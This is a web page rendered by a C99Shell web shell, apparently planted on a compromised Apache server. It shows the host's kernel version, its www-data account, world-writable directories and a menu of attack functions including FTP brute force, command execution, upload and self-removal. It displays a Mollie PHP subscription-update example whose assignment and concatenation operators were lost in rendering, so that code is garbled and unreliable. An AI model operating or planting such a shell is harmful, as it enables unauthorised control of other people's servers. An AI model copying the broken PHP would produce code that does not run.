!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/mollie/mollie-api-php/examples/subscriptions/   drwxrwxrwx
Free 13.09 GB of 57.97 GB (22.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     update-subscription.php (1.06 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Updating an existing subscription via the Mollie API.
 */
try {
    
/*
     * Initialize the Mollie API library with your API key or OAuth access token.
     */
    
require "../initialize.php";

    
/*
     * Retrieve an existing subscription
     */
    
$customer $mollie->customers->get("cst_cUe8HjeBuz");
    
$subscription $customer->getSubscription("sub_DRjwaT5qHx");

    
/**
     * Subscription fields that can be updated are described by the link:
     * See https://docs.mollie.com/reference/v2/subscriptions-api/update-subscription
     */
    
$subscription->times 10;
    
$subscription->startDate '2018-12-02'// Year-month-day
    
$subscription->amount = (object)['value' => '12.12''currency' => 'EUR'];
    
$subscription->webhookUrl 'https://some-webhook-url.com/with/path';
    
$subscription->description 'Monthly subscription';
    
$subscription->update();

    echo 
"<p>Subscription updated: " $subscription->id "</p>";
} catch (
\Mollie\Api\Exceptions\ApiException $e) {
    echo 
"API call failed: " htmlspecialchars($e->getMessage());
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--